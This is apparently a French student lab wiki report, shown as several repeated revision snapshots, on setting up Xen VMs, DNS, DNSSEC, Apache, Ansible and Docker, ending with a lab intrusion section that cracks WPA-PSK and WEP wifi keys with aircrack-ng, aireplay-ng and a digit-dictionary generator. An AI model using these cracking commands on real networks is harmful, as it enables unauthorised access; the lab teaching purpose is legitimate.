Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
$ ssh-keygen -t rsa
$ cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
$ ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:40:51Z

Zbriois : /* Configuration de vos serveurs internes */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:10:24Z

Zbriois : /* Equilibreur de charge */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
